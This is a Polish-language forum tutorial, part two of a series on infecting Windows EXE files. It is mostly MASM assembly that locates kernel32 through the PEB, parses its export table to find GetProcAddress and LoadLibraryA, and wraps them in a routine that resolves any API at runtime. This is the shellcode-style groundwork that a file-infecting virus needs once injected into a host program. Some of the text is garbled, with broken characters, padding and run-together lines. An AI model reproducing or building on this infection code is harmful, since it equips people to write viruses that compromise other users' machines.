Cz.2
Tak jak obieca³em powsta³a czê¶æ druga tutorialu dotycz±cego infekcji plikow exe
Robimy to identycznie jak w czê¶ci pierwszej z tym ze procedura szukaj±ca nie moze kozystac z adresow GetProcAddress i LoadLibrary wpisanych na sta³e.
Musimy napisac procedurê szukaj±c± adresu GetProcAddress i LoadLibrary
Kod:
;ta funkcja zwroci adres GetProcAddress
GetPr PROC
get_delta:****
************
************mov eax,fs:dword ptr [30h]
************mov****eax, [eax+0Ch]********
********mov****esi, [eax+1Ch]********
********lodsd****************
********mov****ebx, [eax+08h]********
********mov****edx, [ebx+3Ch]
********add****edx, ebx
********mov****edx, [edx+78h]
********add****edx, ebx********
********mov****esi, [edx+20h]
************add****esi, ebx********
********xor****ecx, ecx********
find_GetProcAddr:
********inc****ecx
********lodsd****************
********add****eax, ebx
**********
**********
****************.IF byte ptr [eax]==71 && byte ptr[eax+1] == 101 && byte ptr[eax+2] == 116 && byte ptr[eax+3] == 80 && byte ptr[eax+4] == 114 && byte ptr[eax+5] == 111
********************.IF byte ptr[eax+6] == 99 && byte ptr[eax+7] == 65 && byte ptr[eax+8] == 100 && byte ptr[eax+9] == 100 && byte ptr[eax+0Ah] == 114 && byte ptr[eax+0Bh] == 101**
********************NOP
********************.ELSE
********************JMP find_GetProcAddr
********************.ENDIF
****************.ELSE
****************JMP find_GetProcAddr
****************.ENDIF
****************
**********************
********** ****dec****ecx************
************mov****esi, [edx+1Ch]********
********add****esi, ebx
********mov****edx, [esi+ecx*4]
********add****edx, ebx********
********mov eax,edx
************ret
GetPr endp
Kod:
;ta funkcja pobiera adres LoadLibraryA
GetLoadLib PROC
get_delta:****
************mov eax,fs:dword ptr [30h]
************mov****eax, [eax+0Ch]********
********mov****esi, [eax+1Ch]********
********lodsd****************
********mov****ebx, [eax+08h]********
********mov****edx, [ebx+3Ch]
********add****edx, ebx
********mov****edx, [edx+78h]
********add****edx, ebx********
********mov****esi, [edx+20h]
************add****esi, ebx********
********xor****ecx, ecx********
find_GetProcAddr:
********inc****ecx
********lodsd****************
********add****eax, ebx
**********
**********
****************.IF byte ptr [eax]==76 && byte ptr[eax+1] == 111 && byte ptr[eax+2] == 97 && byte ptr[eax+3] == 100 && byte ptr[eax+4] == 76 && byte ptr[eax+5] == 105
********************.IF byte ptr[eax+6] == 98 && byte ptr[eax+7] == 114 && byte ptr[eax+8] == 97 && byte ptr[eax+9] == 114 && byte ptr[eax+0Ah] == 121 && byte ptr[eax+0Bh] == 65**
********************NOP
********************.ELSE
********************JMP find_GetProcAddr
********************.ENDIF
****************.ELSE
****************JMP find_GetProcAddr
****************.ENDIF
****************
**********************
********** ****dec****ecx************
**********************
********mov****esi, [edx+1Ch]********
********add****esi, ebx
********mov****edx, [esi+ecx*4]
********add****edx, ebx********
********mov eax,edx
************ret
GetLoadLib endp
A nasza stara funkcja do szukania adresu dowolnej funkcji ma teraz nastêpuj±c± postac
Kod:
GetFunc PROC adr1:dword,adr2:dword
********************************
CALL GetLoadLib;pobieramy adres LoadLibraryA
PUSH adr1********;rzucamy na stos nazwe ladowanej biblioteki
CALL eax**********;Wywolujemy LoadLibraryPUSH adr2;rzucamy na stos nazwe funkcji
PUSH eax******** ;rzucamy na stos uchwyt zwrocony przez LoadLibrary
CALL GetPr****** ;Wywolujemy funkcje szukajaca adresu GetProcAddress
CALL eax**********;Wywolujemy GetProcAddress
ret;Zwracamy adres poszukiwanej funkcji
************************************
GetFunc endp
caly kod zrodlowy jest TU
Wiem ze ten kod móg³by wygl±daæ duzo ladniej ale jakos nie mialem pomyslu zeby go upiêkszyæ
jak ktos chce to prosze bardzo